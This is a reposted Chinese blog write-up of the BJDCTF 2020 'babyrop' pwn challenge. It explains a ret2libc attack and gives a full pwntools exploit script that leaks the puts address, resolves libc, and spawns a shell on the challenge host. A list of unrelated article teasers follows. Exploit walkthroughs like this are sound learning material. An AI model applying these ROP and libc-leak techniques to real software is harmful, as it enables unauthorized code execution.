【PWN · ret2libc】[BJDCTF 2020]babyrop

news2024/10/7 8:24:14

这题是经典的ret2libc,而且保护开的也不多,实际上,这篇博客的意义更大:

【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客

目录

前言

一、题目

二、思路

三、exp具体编写

总结


前言

简单而纯粹的ret2libc,更推荐上面那篇博客哦~相当于在这题基础上又加了一些保护,算是plus版


一、题目

存在栈溢出漏洞 

没有什么大的保护

64位,动态链接。

注意64bit程序,函数的前六个参数存在寄存器中!构造puts调用时应用ROPgadget找'pop|ret',将参数放入寄存器中。

没有system函数。

二、思路

没有system,更没有后门函数,简单的ret2text不行;唯一保护还保护住了栈执行属性,ret2shellcode一般也不行;而动态链接,一般ret2syscall不行。system从哪里找呢?似乎只剩下ret2libc。

存在puts,可以打印地址。

然后就是ret2libc的一般过程了:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址

2、获取libc的版本

3、根据偏移获取shell和sh的位置:

      a、求libc的基地址(函数动态地址-函数偏移量)

      b、求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell

三、exp具体编写

重要的要点都在注释中标明。

这篇博客的注释写的更详细(几乎每一行都事无巨细地打了注释)

【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客

from pwn import *
from pwn import p64,u64
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")

file=ELF("./pwn")

pop_rdi_ret=0x400733 #将puts参数放入
ret=0x4004c9

payload=b'a'*(0x20+0x8) #填充buff及ebp
payload+=p64(pop_rdi_ret)+p64(file.got['puts'])  #puts参数:puts的地址
payload+=p64(file.plt['puts']) #调用puts,打印puts的real_addr
payload+=p64(file.symbols["main"]) #返回地址

io=process('./pwn')
io=remote("node2.anna.nssctf.cn",28889)
io.recvuntil('story!\n')
io.sendline(payload)

addr_puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#===================libc=====================
libc=LibcSearcher('puts',addr_puts)
#libc6_2.31-0ubuntu9.10_amd64 本地可以
#libc6_2.23-0ubuntu10_amd64   远程可以
libc_addr=addr_puts-libc.dump('puts')
bin_sh_addr=libc_addr+libc.dump('str_bin_sh')
system_addr=libc_addr+libc.dump('system')
#============================================

payload=b'a'*(0x20+0x8)
payload+=p64(ret)         #system被调用时,其中有一个汇编指令,要求栈顶16字节对齐
payload+=p64(pop_rdi_ret)+p64(bin_sh_addr)
payload+=p64(system_addr)
io.recvuntil('story!\n')
io.sendline(payload)
io.interactive()


总结

前些日子为了准备期末考,长时间没有进行CTF-PWN的学习。而ret2libc一直都是不太熟练地点。

多刷多总结。

加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/783908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《DocRED: A Large-Scale Document-Level Relation Extraction Dataset》阅读笔记

引言 近期关注篇章级关系抽取,两个原因,一是之前做大规模知识抽取,遗留的一块内容就是篇章级关系抽取和事件抽取;另一个是大模型目前在抽取任务,特别是复杂抽取任务上表现不如其他NLP任务,这也引起我的研究…

5.2.6.字符设备驱动工作原理1

什么是模块?什么是驱动? 模块 驱动的雏形, 你要能操控硬件才叫驱动 在空的模块的基础上,安装驱动 5.2.6.1、系统整体工作原理 (1)应用层->API->设备驱动->硬件 (2)API:open、read、write、close等 (3)驱动…

20230720今天youtube上的中文字幕自动翻译成为英文的功能失效!

20230720今天youtube上的中文字幕自动翻译成为英文的功能失效! 2023/7/20 12:42 ?做YouTube挣钱吗? 115网盘 满了。最新 张家界 旅游的视频 放到 youtube就是 60岁/老了的时候的回忆! 放到 大陆不保险! 如需使用自动翻…

智能合约安全审计

智能合约安全审计的意义 智能合约审计用于整个 DeFi 生态系统,通过对协议代码的深入审查,可以帮助解决识别错误、低效代码以及这些问题。智能合约具有不可篡改的特点,这使得审计成为任何区块链项目安全流程的关键部分。 代码审计对任何应用…

Spring(二):更简单的存储与读取 Bean

通过上一章的Spring,我们基本实现了Spring 的读取与存储,但是在操作过程中,读取与存储并没有那么得“简单” 一套流程还是很复杂,所以,本章来介绍更加简单得读取与存储。 在 Spring 中想要更简单的存储和读取对象的核…

【C++】继承基础知识及简单应用,使用reportSingleClassLayout(在Visual Studio开发人员命令提示窗口)查看派生类详细信息

author:&Carlton tag:C topic:【C】继承基础知识及简单应用,使用reportSingleClassLayout(在Visual Studio开发人员命令提示窗口)查看派生类详细信息 website:黑马程序员C date&#xf…

MySQL 读写分离

目录 一、什么是读写分离? 二、为什么要读写分离呢? 三、什么时候要读写分离? 四、主从复制与读写分离 五、MySQL 读写分离原理 六、企业 使用MySQL 读写分离场景 1)基于程序代码内部实现 2)基于中间代理层实现…

比selenium体验更好的ui自动化测试工具: cypress介绍

话说 Cypress is a next generation front end testing tool built for the modern web. And Cypress can test anything that runs in a browser.Cypress consists of a free, open source, locally installed Test Runner and a Dashboard Service for recording your tests.…

【yolov7】训练自己的数据集-实践笔记

【yolov7】训练自己的数据集-实践笔记 使用yolov7训练自己的数据集,以RSOD数据集为例,图像数量976,一共四类。 yolov7源码:https://github.com/WongKinYiu/yolov7 同时在该网址下载好预训练文件,直接放到yolov7-main…

【每日随笔】马太效应 ② ( 马太效应因果分析 | 规模效应 | 齿轮效应 | 资源优势 | 抗风险能力 | 领先效应 )

文章目录 一、规模效应二、齿轮效应三、资源优势四、抗风险能力五、领先效应 在本文中 , 分析马太效应产生的原因 ; 一、规模效应 自然界中的规模效应 : 体型庞大的动物 , 如 大象 , 犀牛 , 雄狮 , 河马 , 很少被弱小的动物击败 , 都是自然死亡 , 老死 , 病死 , 同类厮杀 ; 经济…

多源BFS-- 矩阵距离

关于多源BFS,基本上就是单源BFS的简单升级了一下,比如在queue中队头开始时只有一个,我们通过这一个队头去推导其他的东西。而多源最短路就是队头一开始有1-n个可能的数,一个一个去BFS。 题目思路: 这个题就直接把所有的…

苹果开发“Apple GPT”AI科技迎来新格局

根据彭博社的马克・古尔曼(Mark Gurman)报道,苹果内部正在开发“Apple GPT”人工智能项目,足以媲美 OpenAI 的 ChatGPT ,预计明年推出。就在彭博社消息发出之后,苹果股价上涨了2.3%,市值顶峰时增…

深入解析 Kubernetes 架构:掌握主节点、工作节点和容器运行时

🌷🍁 博主 libin9iOak带您 Go to New World.✨🍁 🦄 个人主页——libin9iOak的博客🎐 🐳 《面试题大全》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~&#x1f33…

【Linux后端服务器开发】协议定制(序列化与反序列化)

目录 一、应用层协议概述 二、序列化与反序列化 Protocal.h头文件 Server.h头文件 Client.h头文件 server.cpp源文件 client.cpp源文件 一、应用层协议概述 什么是应用层?我们通过编写程序解决一个个实际问题、满足我们日常需求的网络程序,都是应…

CMU15-445 2022 Fall 通关记录 —— Project 3:Query Execution(上篇)

前言 我在初次实现的时候并没有做 三个“选做”的排行榜任务,所以这只是上篇内容,等完成 Pro4 后再完成下篇。 Project 3: Query Execution Project #3 - Query Execution | CMU 15-445/645 :: Intro to Database Systems (Fall 2022) — 项目 #3 - 查…

R语言机器学习之影像组学分析的原理详解

概要 影像组学从常规医学图像中高通量提取大量的放射学定量数据,并以非侵入性方式探索它们与临床结果的相关性,在医学研究中得到广泛的应用。 01 影像组学(Radiomics)的概念: 影像组学(Radiomics&#xff…

JVM堆内存介绍

一:JVM中内存 JVM中内存通常划分为两个部分,分别为堆内存与栈内存,栈内存主要用运行线程方法 存放本地暂时变量与线程中方法运行时候须要的引用对象地址。 JVM全部的对象信息都 存放在堆内存中。相比栈内存,堆内存能够所大的多&am…

图为科技应邀出席第38届中国计算机应用大会

第38届中国计算机应用大会(CCF NCCA 2023)暨2023年人工智能应用学术会议于7月16日-19日在苏州召开。 本次会议由中国计算机学会(CCF)主办,CCF计算机应用专业委员会承办,苏州大学、苏州科技大学、南京理工大学等单位协办&#xff0…

数字孪生搭高台,温控节能唱新戏

“孪生”的基本思想最早起源于1969年的阿波罗计划,通过留在地球上的航天器对发射到太空的航天器进行工作状态的仿真模拟,进而辅助航天员完成决策,减少各种操作结果的未知性。 从2002年开始,数字孪生的概念和定义在不同领域逐渐被提…

三种数据库架构模式

数据架构设计模式 数据架构主要有三种模式: Shared Everything、Shared Disk、Shared Nothing。 Shared Disk 各处理单元使用本地的私有CPU和Memory,共享磁盘系统,分布式数据库。 典型的代表是Oracle RAC、DB2 PureScale。 例如&#xf…